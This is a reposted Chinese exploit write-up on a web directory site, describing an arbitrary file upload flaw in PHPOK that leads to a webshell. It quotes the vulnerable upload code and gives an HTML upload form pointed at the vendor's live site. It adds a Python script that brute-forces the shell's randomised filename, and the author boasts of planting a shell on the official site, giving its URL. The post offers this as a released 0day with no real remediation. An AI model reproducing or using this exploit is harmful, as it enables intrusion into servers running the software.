网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

phpok前台任意文件上传getshell下载

来源:黑吧安全网 浏览:3031次 时间:2014-07-22
简介:另一个更好用的0day已经没了,把这个也放出来,官网已被黑客shell/framework/www/upload_control.php第45行: function base_f(){$rs = $this->upload_base(

另一个更好用的0day已经没了,把这个也放出来,官网已被黑客shell

/framework/www/upload_control.php第45行:

 

function base_f()
{
$rs = $this->upload_base("Filedata");
if($rs["status"] == "ok")
{
error("图片上传成功",$this->url("res","add"),"ok");
}
else
{
error($rs["error"],$this->url("res","add"),"error");
}
}



调用了upload_base,跟进去看看:

 

function upload_base($input_name = "Filedata",$upload_type)
{
$cateid = $this->get("cateid","int");
$rs = $this->upload($input_name);
if($rs["status"] != "ok")
{
return $rs;
}



调用了$this->upload来上传文件。继续跟进去看看:

 

function upload($inputname)
{
if(!$this->ifset) $this->auto_app();
if(!$inputname) return false;
$path = $this->dir_res;
if(!isset($_FILES[$inputname]))
{
return array("status"=>"error","error_id"=>"1001","error"=>"没有指定上传的图片");
}
//生成新的文件名称
$file_name = substr(md5(time().rand(0,9999)),9,16);
$zip_filename = $file_name;//如果是zip压缩包
$path_info = pathinfo($_FILES[$inputname]['name']);
$file_extension = strtolower($path_info["extension"]);
$file_name .= ".".$file_extension;
$tmp_title = $_FILES[$inputname]['name'];
if(!@copy($_FILES[$inputname]["tmp_name"],$path.$file_name))
{
return array("status"=>"error","error_id"=>"1002","error"=>"图片无法复制到指定目录");
}
if(!in_array($file_extension,$this->file_ext))
{
return array("status"=>"error","error_id"=>"1003","error"=>"附件类型不支持");
}
return array("status"=>"ok","title"=>$tmp_title,"filename"=>$path.$file_name,"ext"=>$file_extension);
}



仔细观察最后两个if语句,第一个是copy,第二个才是判断后缀名。也就是说它先把我上传的任意文件copy到web目录下,再判断了这个文件后缀是否合法。而且判断完毕后并没有删除不合法的文件。

所以我们可以利用这一点来上传任意文件,虽然最后我不知道上传后的文件名,但这个文件名是可以爆破出来的。



文件名命名规则:substr(md5(time().rand(0,9999)),9,16)



取当前时间 和 0-9999之前的随机数的md5值。这个好说,当前时间基本就在发包以后的1~3秒,4位随机数。也就说我只用爆破大概1W到3W次就能找到我上传的文件了。

本地构造一个上传单页:

 

<form name="form" method="post" action="http://www.phpok.com/index.php?c=upload&f=base" enctype="multipart/form-data" >
<input type="file" name="Filedata">
<input type="submit" name="Submit" value="上传" ></form>



拉一个shell点击上传。中途抓包,查看返回包:

可以看到返回包的时间,这个时间基本上就是生成文件名的时候取的time()。

通过返回包里的Date计算出此时的时间戳,也就是重命名时候取的time()值(就算不是,相差也不会太大,一两秒内)



我计算出的时间戳值为1401619111



然后我简单写一个单线程脚本(py需要安装requests库),来跑一下数据包。上传的文件默认放在/res目录下,我们就来爆破一下这个文件名:

 

import requests, hashlib

def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()

time = '1401619111'
for x in xrange(0,9999):
target = "http://localhost/phpok/res/%s.php" % md5(time + str(x))[9: 9 + 16]
res = requests.get(target)
if res.status_code != 404:
print x, target
break



因为是本地,所以很快就跑出了shell的地址:

访问可见phpinfo:

危害性证明:

官网shell地址,也是我跑出来的,运气比较好,随机数比较小,跑了一分钟就出来了

http://www.phpok.com/res/49d39bf998b3e28e.php

漏洞修补方法:抓紧时间叫安全专家修补漏洞啊,黑帽子黑客不是吃素的哦


0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/2570.html

好玩的手游下载

猜你喜欢

推荐站点

  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com
  • 心动网址导航心动网址导航

    心动网址导航精选了国内国外著名的网站、好玩的、好看的、有趣的国内国外网站以及实用的、优秀的国内国外网站,包括国外视频、国外购物、国外交友、国外新闻等多种类型 同时提供精品行业分类目录提交,让用户全方位了解国内国外互联网动态!

    xd00.com
  • 门户网址-优秀网站导航门户网址-优秀网站导航

    门户网址-优秀网站导航,精选网址导航,免费分类目录提交,实用酷站大全。

    top.mhwz.cn

最新优秀网站